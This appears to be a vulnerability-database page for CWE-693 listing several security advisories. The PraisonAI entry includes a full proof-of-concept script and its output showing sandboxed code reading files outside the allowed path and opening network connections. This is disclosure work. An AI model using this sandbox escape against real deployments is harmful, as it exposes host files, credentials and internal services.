CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
1336 vulnerabilities reference this CWE, most recent first.
GHSA-6HRC-Q74X-C8G8
Vulnerability from github – Published: 2024-01-11 15:30 – Updated: 2025-06-20 21:31A privileged attacker can prevent delivery of debug exceptions to SEV-SNP guests potentially resulting in guests not receiving expected debug information.
{
"affected": [],
"aliases": [
"CVE-2023-20573"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-11T14:15:43Z",
"severity": "LOW"
},
"details": "A privileged attacker\ncan prevent delivery of debug exceptions to SEV-SNP guests potentially\nresulting in guests not receiving expected debug information.",
"id": "GHSA-6hrc-q74x-c8g8",
"modified": "2025-06-20T21:31:36Z",
"published": "2024-01-11T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20573"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-3006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6J75-5WFJ-GH66
Vulnerability from github – Published: 2024-09-09 20:19 – Updated: 2024-10-10 14:50Description
Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.
The security issue happens when all these conditions are met:
- The sandbox is disabled globally;
- The sandbox is enabled via a sandboxed
include()function which references a template name (likeincluded.twig) and not aTemplateorTemplateWrapperinstance; - The included template has been loaded before the
include()call but in a non-sandbox context (possible as the sandbox has been globally disabled).
Resolution
The patch ensures that the sandbox security checks are always run at runtime.
Credits
We would like to thank Fabien Potencier for reporting and fixing the issue.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "twig/twig"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.44.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "twig/twig"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.16.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "twig/twig"
},
"ranges": [
{
"events": [
{
"introduced": "3.12.0"
},
{
"fixed": "3.14.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "twig/twig"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45411"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-09T20:19:26Z",
"nvd_published_at": "2024-09-09T19:15:13Z",
"severity": "MODERATE"
},
"details": "### Description\n\nUnder some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.\n\nThe security issue happens when all these conditions are met:\n\n * The sandbox is disabled globally;\n * The sandbox is enabled via a sandboxed `include()` function which references a template name (like `included.twig`) and not a `Template` or `TemplateWrapper` instance;\n * The included template has been loaded before the `include()` call but in a non-sandbox context (possible as the sandbox has been globally disabled).\n\n### Resolution\n\nThe patch ensures that the sandbox security checks are always run at runtime.\n\n### Credits\n\nWe would like to thank Fabien Potencier for reporting and fixing the issue.\n",
"id": "GHSA-6j75-5wfj-gh66",
"modified": "2024-10-10T14:50:22Z",
"published": "2024-09-09T20:19:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45411"
},
{
"type": "WEB",
"url": "https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6"
},
{
"type": "WEB",
"url": "https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de"
},
{
"type": "WEB",
"url": "https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635"
},
{
"type": "WEB",
"url": "https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/twig/twig/CVE-2024-45411.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/twigphp/Twig"
},
{
"type": "WEB",
"url": "https://symfony.com/blog/twig-security-release-possible-sandbox-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Twig has a possible sandbox bypass"
}
GHSA-6JCQ-6546-QRRW
Vulnerability from github – Published: 2026-06-18 14:27 – Updated: 2026-07-20 21:28Summary
praisonai.sandbox.SandlockSandbox is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its SandboxConfig.native() path lets callers configure allowed filesystem paths and network=False.
On systems where the optional sandlock module imports but reports that Landlock is unavailable, SandlockSandbox.execute() and run_command() do not fail closed. They silently fall back to SubprocessSandbox(self.config).
That fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite network=False.
Technical Details
SandboxConfig.native() creates a restricted native policy and records caller-provided writable paths plus the requested network posture:
return cls(
sandbox_type="native",
working_dir=os.getcwd(),
security_policy=SecurityPolicy(
allow_network=network,
allow_file_write=True,
allow_subprocess=True,
allowed_paths=resolved_paths,
),
metadata={"writable_paths": resolved_paths, "network": network},
)
SandlockSandbox builds the intended kernel policy with Landlock-backed filesystem allowlisting and network denial:
policy = Policy(
fs_readable=allowed_read_paths,
fs_writable=allowed_write_paths,
net_allow_hosts=[] if not limits.network_enabled else None,
max_memory=f"{limits.memory_mb}M",
max_processes=limits.max_processes,
max_open_files=limits.max_open_files,
)
However, both execution paths fail open when Sandlock is unavailable:
if not self.is_available:
logger.warning("Sandlock not available, falling back to subprocess")
from .subprocess import SubprocessSandbox
fallback = SubprocessSandbox(self.config)
return await fallback.execute(code, language, limits, env, working_dir)
SubprocessSandbox.execute() writes the code to a temp file and runs python with a minimal environment and POSIX rlimits. It does not install a filesystem sandbox, network namespace, syscall filter, chroot, Landlock policy, or path allowlist for the code execution path. The safe_sandbox_path() checks only protect the read_file(), write_file(), and list_files() helper methods.
Why This Is Not Intended Behavior
The report is not based only on a trust-model disagreement. The code and docs define a concrete boundary:
- PraisonAI's Sandlock README says the backend provides kernel-level filesystem allowlisting, network isolation, seccomp filtering, and blocks
/etc/passwd, SSH keys, AWS credentials, and unauthorized connections. - The security demo creates
SandboxConfig.native(writable_paths=["./safe_workspace"], network=False)and labels file and network access as blocked operations. - The upstream
sandlockpackage requires Linux with a compatible Landlock ABI and documents a fail-closed default for missing required protections unless the caller explicitly opts into degraded protection. - PraisonAI's own current security page recommends sandboxed execution and says path traversal protection is enabled by default for local sandbox backends.
The bug is the silent fallback from an unavailable kernel-enforced boundary to plain subprocess execution without preserving the configured native policy.
PoV
Run from a PraisonAI source checkout:
python3 poc/pov_poc.py \
--repo /path/to/PraisonAI
The PoV:
- injects a fake
sandlockmodule that imports successfully but reports no usable Landlock support; - configures
SandboxConfig.native(writable_paths=[tenant_a], network=False); - creates
tenant-b-secret.txtoutside the configured path; - starts a localhost TCP listener;
- executes code through
SandlockSandbox.execute().
Observed result on v4.6.58:
{
"child_output": {
"network_reply": "local-ok",
"outside_read": "TENANT_B_CANARY"
},
"configured_network": false,
"outside_path_under_allowed": false,
"sandlock_available": false,
"sandbox_type": "sandlock",
"status": "COMPLETED",
"vulnerable": true
}
This proves both policy boundaries are crossed:
- the file read target is not under the configured allowed path;
- the localhost network connection succeeds even though the native policy was created with
network=False.
Full PoV script:
#!/usr/bin/env python3
"""Local-only PoV for poc.
The PoV simulates a system where the optional ``sandlock`` Python package is
installed but kernel Landlock support is unavailable. That is the exact branch
handled by ``SandlockSandbox.execute()``: it logs a warning and falls back to
``SubprocessSandbox``.
No external network is used. The network control is a localhost TCP listener.
No sensitive host files are read. The filesystem control uses temporary tenant
directories and a canary file outside the configured writable path.
"""
from __future__ import annotations
import argparse
import asyncio
import contextlib
import json
import os
import pathlib
import socket
import sys
import tempfile
import types
from typing import Any
def _repo_paths(repo: pathlib.Path) -> list[str]:
return [
str(repo / "src" / "praisonai"),
str(repo / "src" / "praisonai-agents"),
]
async def _accept_once(server: socket.socket) -> str | None:
loop = asyncio.get_running_loop()
def accept() -> str:
conn, _ = server.accept()
with conn:
data = conn.recv(128)
conn.sendall(b"local-ok")
return data.decode("utf-8", "replace")
with contextlib.suppress(Exception):
return await loop.run_in_executor(None, accept)
return None
async def run_pov(repo: pathlib.Path) -> dict[str, Any]:
sandlock_path = repo / "src" / "praisonai" / "praisonai" / "sandbox" / "sandlock.py"
if not sandlock_path.exists():
return {"repo": str(repo), "has_sandlock": False, "vulnerable": False}
sys.path[:0] = _repo_paths(repo)
# Support both the original v4.5.110 API check and the current v4.6.58 API
# check while forcing the "Sandlock not available" branch.
sys.modules["sandlock"] = types.SimpleNamespace(
is_available=lambda: False,
landlock_abi_version=lambda: 0,
)
from praisonai.sandbox.sandlock import SandlockSandbox
from praisonaiagents.sandbox import ResourceLimits, SandboxConfig
with tempfile.TemporaryDirectory(prefix="poc-") as temp_root:
base = pathlib.Path(temp_root)
# Make the PoV deterministic on systems where "python" is not on PATH.
bindir = base / "bin"
bindir.mkdir()
(bindir / "python").symlink_to(sys.executable)
allowed = base / "tenant-a"
allowed.mkdir()
outside = base / "tenant-b-secret.txt"
outside.write_text("TENANT_B_CANARY", encoding="utf-8")
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("127.0.0.1", 0))
server.listen(1)
server.settimeout(5)
port = server.getsockname()[1]
config = SandboxConfig.native(writable_paths=[str(allowed)], network=False)
sandbox = SandlockSandbox(config=config)
await sandbox.start()
code = f"""
import json
import socket
result = {{}}
try:
with open({str(outside)!r}, "r") as f:
result["outside_read"] = f.read()
except Exception as exc:
result["outside_read_error"] = type(exc).__name__ + ": " + str(exc)
try:
s = socket.create_connection(("127.0.0.1", {port}), timeout=3)
s.sendall(b"hello")
result["network_reply"] = s.recv(32).decode("utf-8", "replace")
s.close()
except Exception as exc:
result["network_error"] = type(exc).__name__ + ": " + str(exc)
print(json.dumps(result, sort_keys=True))
"""
accept_task = asyncio.create_task(_accept_once(server))
result = await sandbox.execute(
code,
limits=ResourceLimits(
timeout_seconds=10,
memory_mb=512,
max_processes=10,
max_open_files=64,
network_enabled=False,
),
env={"PATH": str(bindir)},
)
accepted_payload = None
with contextlib.suppress(Exception):
accepted_payload = await accept_task
server.close()
await sandbox.stop()
child_output: dict[str, Any] = {}
with contextlib.suppress(Exception):
child_output = json.loads(result.stdout.strip())
vulnerable = (
child_output.get("outside_read") == "TENANT_B_CANARY"
and child_output.get("network_reply") == "local-ok"
)
return {
"repo": str(repo),
"has_sandlock": True,
"sandbox_type": sandbox.sandbox_type,
"sandlock_available": sandbox.is_available,
"configured_allowed_paths": config.security_policy.allowed_paths,
"configured_network": config.security_policy.allow_network,
"outside_path_under_allowed": str(outside).startswith(str(allowed) + os.sep),
"status": getattr(result.status, "name", str(result.status)),
"exit_code": result.exit_code,
"stdout": result.stdout.strip(),
"stderr": result.stderr.strip(),
"error": result.error,
"child_output": child_output,
"accepted_local_payload": accepted_payload,
"vulnerable": vulnerable,
}
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--repo", required=True, type=pathlib.Path)
args = parser.parse_args()
result = asyncio.run(run_pov(args.repo.resolve()))
print(json.dumps(result, indent=2, sort_keys=True))
if result.get("has_sandlock") and not result.get("vulnerable"):
return 1
return 0
if __name__ == "__main__":
raise SystemExit(main())
PoC
The PoV section above contains the local reproduction command, input, and decisive output.
Impact
If a PraisonAI user or service relies on SandlockSandbox / native sandboxing for untrusted code isolation on a host without the required Landlock support, code submitted to the sandbox can execute with the host user's normal filesystem and network access.
Concrete impact includes:
- reading files outside the configured tenant/workspace path;
- reading project files, credentials,
.envfiles, SSH material, or cloud config reachable by the PraisonAI process user; - connecting to loopback or internal services despite
network=False; - moving from sandboxed code execution to unsandboxed host-user code execution in deployments that treat Sandlock as the isolation boundary.
The local PoV does not read real sensitive files or contact external systems. It uses temporary tenant directories and a localhost TCP listener.
Suggested Fix
Fail closed when the requested native sandbox boundary cannot be enforced.
Recommended changes:
- In
SandlockSandbox.execute()andrun_command(), return a failedSandboxResultor raise a clear runtime error whenself.is_availableis false. - If fallback behavior is kept for developer convenience, require an explicit opt-in such as
allow_degraded=Trueorfallback="subprocess"and surface that degraded state in the result metadata. - Do not preserve
sandbox_type == "sandlock"in status metadata when the actual execution backend is subprocess. - Add regression tests proving that unavailable Landlock does not execute code unless degraded fallback was explicitly requested.
- Add tests that a native policy with
network=Falseand a restricted path cannot read outside-path canaries or connect to a localhost listener. - Document the required kernel/ABI versions and the exact degraded-mode semantics.
Affected Package/Versions
- Repository:
MervinPraison/PraisonAI - Package:
praisonai - Component:
src/praisonai/praisonai/sandbox/sandlock.py - Related config component:
src/praisonai-agents/praisonaiagents/sandbox/config.py - Latest verified release/current head:
v4.6.58,1ad58ca02975ff1398efeda694ea2ab78f20cf3e
Confirmed affected:
v4.5.110 vulnerable
v4.5.120 vulnerable
v4.6.58 vulnerable
current vulnerable
Negative control:
v4.5.109 not affected because SandlockSandbox is absent
Suggested affected range: >= 4.5.110, <= 4.6.58.
No fixed version is known at submission time.
Version Sweep
version has_sandlock sandlock_available status outside_read network_reply vulnerable
praisonai-v4.5.109 false false
praisonai-v4.5.110 true false COMPLETED TENANT_B_CANARY local-ok true
praisonai-v4.6.58 true false COMPLETED TENANT_B_CANARY local-ok true
praisonai-current true false COMPLETED TENANT_B_CANARY local-ok true
GitHub history for sandlock.py shows the backend was introduced in 4ee7d298c89f on 2026-04-01 with "graceful fallback to SubprocessSandbox", then updated in 7ae6c6d19c31 on 2026-04-02 to use the current Landlock ABI check.
Advisory History
Nearby advisories are distinct:
GHSA-r4f2-3m54-pp7q/CVE-2026-34955:SubprocessSandboxshell command escape through4.5.96.GHSA-4mr5-g6f9-cfrh,GHSA-qf73-2hrx-xprp,GHSA-6vh2-h83c-9294:execute_code()Python sandbox escapes.GHSA-ch89-h4r2-c8f8: agent tools workspace escape via symlinks.GHSA-gcq3-mfvh-3x25: PraisonAI Code agent tool workspace fail-open.
This report covers a different root cause: SandlockSandbox / native sandbox policy downgrade when Landlock is unavailable. It reproduces on the latest release v4.6.58, while the older SubprocessSandbox shell escape advisory was fixed at 4.5.97.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "4.5.110"
},
{
"fixed": "4.6.61"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57144"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-668",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:27:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`praisonai.sandbox.SandlockSandbox` is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its `SandboxConfig.native()` path lets callers configure allowed filesystem paths and `network=False`.\n\nOn systems where the optional `sandlock` module imports but reports that Landlock is unavailable, `SandlockSandbox.execute()` and `run_command()` do not fail closed. They silently fall back to `SubprocessSandbox(self.config)`.\n\nThat fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite `network=False`.\n\n## Technical Details\n\n`SandboxConfig.native()` creates a restricted native policy and records caller-provided writable paths plus the requested network posture:\n\n```python\nreturn cls(\n sandbox_type=\"native\",\n working_dir=os.getcwd(),\n security_policy=SecurityPolicy(\n allow_network=network,\n allow_file_write=True,\n allow_subprocess=True,\n allowed_paths=resolved_paths,\n ),\n metadata={\"writable_paths\": resolved_paths, \"network\": network},\n)\n```\n\n`SandlockSandbox` builds the intended kernel policy with Landlock-backed filesystem allowlisting and network denial:\n\n```python\npolicy = Policy(\n fs_readable=allowed_read_paths,\n fs_writable=allowed_write_paths,\n net_allow_hosts=[] if not limits.network_enabled else None,\n max_memory=f\"{limits.memory_mb}M\",\n max_processes=limits.max_processes,\n max_open_files=limits.max_open_files,\n)\n```\n\nHowever, both execution paths fail open when Sandlock is unavailable:\n\n```python\nif not self.is_available:\n logger.warning(\"Sandlock not available, falling back to subprocess\")\n from .subprocess import SubprocessSandbox\n fallback = SubprocessSandbox(self.config)\n return await fallback.execute(code, language, limits, env, working_dir)\n```\n\n`SubprocessSandbox.execute()` writes the code to a temp file and runs `python` with a minimal environment and POSIX rlimits. It does not install a filesystem sandbox, network namespace, syscall filter, chroot, Landlock policy, or path allowlist for the code execution path. The `safe_sandbox_path()` checks only protect the `read_file()`, `write_file()`, and `list_files()` helper methods.\n\n### Why This Is Not Intended Behavior\n\nThe report is not based only on a trust-model disagreement. The code and docs define a concrete boundary:\n\n- PraisonAI\u0027s Sandlock README says the backend provides kernel-level filesystem allowlisting, network isolation, seccomp filtering, and blocks `/etc/passwd`, SSH keys, AWS credentials, and unauthorized connections.\n- The security demo creates `SandboxConfig.native(writable_paths=[\"./safe_workspace\"], network=False)` and labels file and network access as blocked operations.\n- The upstream `sandlock` package requires Linux with a compatible Landlock ABI and documents a fail-closed default for missing required protections unless the caller explicitly opts into degraded protection.\n- PraisonAI\u0027s own current security page recommends sandboxed execution and says path traversal protection is enabled by default for local sandbox backends.\n\nThe bug is the silent fallback from an unavailable kernel-enforced boundary to plain subprocess execution without preserving the configured native policy.\n\n## PoV\n\nRun from a PraisonAI source checkout:\n\n```bash\npython3 poc/pov_poc.py \\\n --repo /path/to/PraisonAI\n```\n\nThe PoV:\n\n1. injects a fake `sandlock` module that imports successfully but reports no usable Landlock support;\n2. configures `SandboxConfig.native(writable_paths=[tenant_a], network=False)`;\n3. creates `tenant-b-secret.txt` outside the configured path;\n4. starts a localhost TCP listener;\n5. executes code through `SandlockSandbox.execute()`.\n\nObserved result on `v4.6.58`:\n\n```json\n{\n \"child_output\": {\n \"network_reply\": \"local-ok\",\n \"outside_read\": \"TENANT_B_CANARY\"\n },\n \"configured_network\": false,\n \"outside_path_under_allowed\": false,\n \"sandlock_available\": false,\n \"sandbox_type\": \"sandlock\",\n \"status\": \"COMPLETED\",\n \"vulnerable\": true\n}\n```\n\nThis proves both policy boundaries are crossed:\n\n- the file read target is not under the configured allowed path;\n- the localhost network connection succeeds even though the native policy was created with `network=False`.\n\nFull PoV script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local-only PoV for poc.\n\nThe PoV simulates a system where the optional ``sandlock`` Python package is\ninstalled but kernel Landlock support is unavailable. That is the exact branch\nhandled by ``SandlockSandbox.execute()``: it logs a warning and falls back to\n``SubprocessSandbox``.\n\nNo external network is used. The network control is a localhost TCP listener.\nNo sensitive host files are read. The filesystem control uses temporary tenant\ndirectories and a canary file outside the configured writable path.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport contextlib\nimport json\nimport os\nimport pathlib\nimport socket\nimport sys\nimport tempfile\nimport types\nfrom typing import Any\n\ndef _repo_paths(repo: pathlib.Path) -\u003e list[str]:\n return [\n str(repo / \"src\" / \"praisonai\"),\n str(repo / \"src\" / \"praisonai-agents\"),\n ]\n\nasync def _accept_once(server: socket.socket) -\u003e str | None:\n loop = asyncio.get_running_loop()\n\n def accept() -\u003e str:\n conn, _ = server.accept()\n with conn:\n data = conn.recv(128)\n conn.sendall(b\"local-ok\")\n return data.decode(\"utf-8\", \"replace\")\n\n with contextlib.suppress(Exception):\n return await loop.run_in_executor(None, accept)\n return None\n\nasync def run_pov(repo: pathlib.Path) -\u003e dict[str, Any]:\n sandlock_path = repo / \"src\" / \"praisonai\" / \"praisonai\" / \"sandbox\" / \"sandlock.py\"\n if not sandlock_path.exists():\n return {\"repo\": str(repo), \"has_sandlock\": False, \"vulnerable\": False}\n\n sys.path[:0] = _repo_paths(repo)\n\n # Support both the original v4.5.110 API check and the current v4.6.58 API\n # check while forcing the \"Sandlock not available\" branch.\n sys.modules[\"sandlock\"] = types.SimpleNamespace(\n is_available=lambda: False,\n landlock_abi_version=lambda: 0,\n )\n\n from praisonai.sandbox.sandlock import SandlockSandbox\n from praisonaiagents.sandbox import ResourceLimits, SandboxConfig\n\n with tempfile.TemporaryDirectory(prefix=\"poc-\") as temp_root:\n base = pathlib.Path(temp_root)\n\n # Make the PoV deterministic on systems where \"python\" is not on PATH.\n bindir = base / \"bin\"\n bindir.mkdir()\n (bindir / \"python\").symlink_to(sys.executable)\n\n allowed = base / \"tenant-a\"\n allowed.mkdir()\n outside = base / \"tenant-b-secret.txt\"\n outside.write_text(\"TENANT_B_CANARY\", encoding=\"utf-8\")\n\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server.bind((\"127.0.0.1\", 0))\n server.listen(1)\n server.settimeout(5)\n port = server.getsockname()[1]\n\n config = SandboxConfig.native(writable_paths=[str(allowed)], network=False)\n sandbox = SandlockSandbox(config=config)\n await sandbox.start()\n\n code = f\"\"\"\nimport json\nimport socket\n\nresult = {{}}\n\ntry:\n with open({str(outside)!r}, \"r\") as f:\n result[\"outside_read\"] = f.read()\nexcept Exception as exc:\n result[\"outside_read_error\"] = type(exc).__name__ + \": \" + str(exc)\n\ntry:\n s = socket.create_connection((\"127.0.0.1\", {port}), timeout=3)\n s.sendall(b\"hello\")\n result[\"network_reply\"] = s.recv(32).decode(\"utf-8\", \"replace\")\n s.close()\nexcept Exception as exc:\n result[\"network_error\"] = type(exc).__name__ + \": \" + str(exc)\n\nprint(json.dumps(result, sort_keys=True))\n\"\"\"\n\n accept_task = asyncio.create_task(_accept_once(server))\n result = await sandbox.execute(\n code,\n limits=ResourceLimits(\n timeout_seconds=10,\n memory_mb=512,\n max_processes=10,\n max_open_files=64,\n network_enabled=False,\n ),\n env={\"PATH\": str(bindir)},\n )\n\n accepted_payload = None\n with contextlib.suppress(Exception):\n accepted_payload = await accept_task\n\n server.close()\n await sandbox.stop()\n\n child_output: dict[str, Any] = {}\n with contextlib.suppress(Exception):\n child_output = json.loads(result.stdout.strip())\n\n vulnerable = (\n child_output.get(\"outside_read\") == \"TENANT_B_CANARY\"\n and child_output.get(\"network_reply\") == \"local-ok\"\n )\n\n return {\n \"repo\": str(repo),\n \"has_sandlock\": True,\n \"sandbox_type\": sandbox.sandbox_type,\n \"sandlock_available\": sandbox.is_available,\n \"configured_allowed_paths\": config.security_policy.allowed_paths,\n \"configured_network\": config.security_policy.allow_network,\n \"outside_path_under_allowed\": str(outside).startswith(str(allowed) + os.sep),\n \"status\": getattr(result.status, \"name\", str(result.status)),\n \"exit_code\": result.exit_code,\n \"stdout\": result.stdout.strip(),\n \"stderr\": result.stderr.strip(),\n \"error\": result.error,\n \"child_output\": child_output,\n \"accepted_local_payload\": accepted_payload,\n \"vulnerable\": vulnerable,\n }\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--repo\", required=True, type=pathlib.Path)\n args = parser.parse_args()\n\n result = asyncio.run(run_pov(args.repo.resolve()))\n print(json.dumps(result, indent=2, sort_keys=True))\n\n if result.get(\"has_sandlock\") and not result.get(\"vulnerable\"):\n return 1\n return 0\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nIf a PraisonAI user or service relies on `SandlockSandbox` / native sandboxing for untrusted code isolation on a host without the required Landlock support, code submitted to the sandbox can execute with the host user\u0027s normal filesystem and network access.\n\nConcrete impact includes:\n\n- reading files outside the configured tenant/workspace path;\n- reading project files, credentials, `.env` files, SSH material, or cloud config reachable by the PraisonAI process user;\n- connecting to loopback or internal services despite `network=False`;\n- moving from sandboxed code execution to unsandboxed host-user code execution in deployments that treat Sandlock as the isolation boundary.\n\nThe local PoV does not read real sensitive files or contact external systems. It uses temporary tenant directories and a localhost TCP listener.\n\n## Suggested Fix\n\nFail closed when the requested native sandbox boundary cannot be enforced.\n\nRecommended changes:\n\n1. In `SandlockSandbox.execute()` and `run_command()`, return a failed `SandboxResult` or raise a clear runtime error when `self.is_available` is false.\n2. If fallback behavior is kept for developer convenience, require an explicit opt-in such as `allow_degraded=True` or `fallback=\"subprocess\"` and surface that degraded state in the result metadata.\n3. Do not preserve `sandbox_type == \"sandlock\"` in status metadata when the actual execution backend is subprocess.\n4. Add regression tests proving that unavailable Landlock does not execute code unless degraded fallback was explicitly requested.\n5. Add tests that a native policy with `network=False` and a restricted path cannot read outside-path canaries or connect to a localhost listener.\n6. Document the required kernel/ABI versions and the exact degraded-mode semantics.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Package: `praisonai`\n- Component: `src/praisonai/praisonai/sandbox/sandlock.py`\n- Related config component: `src/praisonai-agents/praisonaiagents/sandbox/config.py`\n- Latest verified release/current head: `v4.6.58`, `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n\nConfirmed affected:\n\n```text\nv4.5.110 vulnerable\nv4.5.120 vulnerable\nv4.6.58 vulnerable\ncurrent vulnerable\n```\n\nNegative control:\n\n```text\nv4.5.109 not affected because SandlockSandbox is absent\n```\n\nSuggested affected range: `\u003e= 4.5.110, \u003c= 4.6.58`.\n\nNo fixed version is known at submission time.\n\n### Version Sweep\n\n```text\nversion has_sandlock sandlock_available status outside_read network_reply vulnerable\npraisonai-v4.5.109 false false\npraisonai-v4.5.110 true false COMPLETED TENANT_B_CANARY local-ok true\npraisonai-v4.6.58 true false COMPLETED TENANT_B_CANARY local-ok true\npraisonai-current true false COMPLETED TENANT_B_CANARY local-ok true\n```\n\nGitHub history for `sandlock.py` shows the backend was introduced in `4ee7d298c89f` on 2026-04-01 with \"graceful fallback to SubprocessSandbox\", then updated in `7ae6c6d19c31` on 2026-04-02 to use the current Landlock ABI check.\n\n## Advisory History\n\nNearby advisories are distinct:\n\n- `GHSA-r4f2-3m54-pp7q` / `CVE-2026-34955`: `SubprocessSandbox` shell command escape through `4.5.96`.\n- `GHSA-4mr5-g6f9-cfrh`, `GHSA-qf73-2hrx-xprp`, `GHSA-6vh2-h83c-9294`: `execute_code()` Python sandbox escapes.\n- `GHSA-ch89-h4r2-c8f8`: agent tools workspace escape via symlinks.\n- `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tool workspace fail-open.\n\nThis report covers a different root cause: `SandlockSandbox` / native sandbox policy downgrade when Landlock is unavailable. It reproduces on the latest release `v4.6.58`, while the older `SubprocessSandbox` shell escape advisory was fixed at `4.5.97`.",
"id": "GHSA-6jcq-6546-qrrw",
"modified": "2026-07-20T21:28:18Z",
"published": "2026-06-18T14:27:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6jcq-6546-qrrw"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI SandlockSandbox falls back to unrestricted subprocess execution when Landlock is unavailable"
}
GHSA-6JR7-6HJC-42R3
Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-10 15:33In multiple functions of RemoteViews.java, there is a possible background activity launch bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2026-28655"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T19:17:55Z",
"severity": "HIGH"
},
"details": "In multiple functions of RemoteViews.java, there is a possible background activity launch bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-6jr7-6hjc-42r3",
"modified": "2026-09-10T15:33:00Z",
"published": "2026-09-08T21:34:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28655"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/2026/2026-09-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6M57-Q338-H677
Vulnerability from github – Published: 2022-05-14 01:35 – Updated: 2022-05-14 01:35The smtplib library in CPython (aka Python) before 2.7.12, 3.x before 3.4.5, and 3.5.x before 3.5.2 does not return an error when StartTLS fails, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a "StartTLS stripping attack."
{
"affected": [],
"aliases": [
"CVE-2016-0772"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-09-02T14:59:00Z",
"severity": "MODERATE"
},
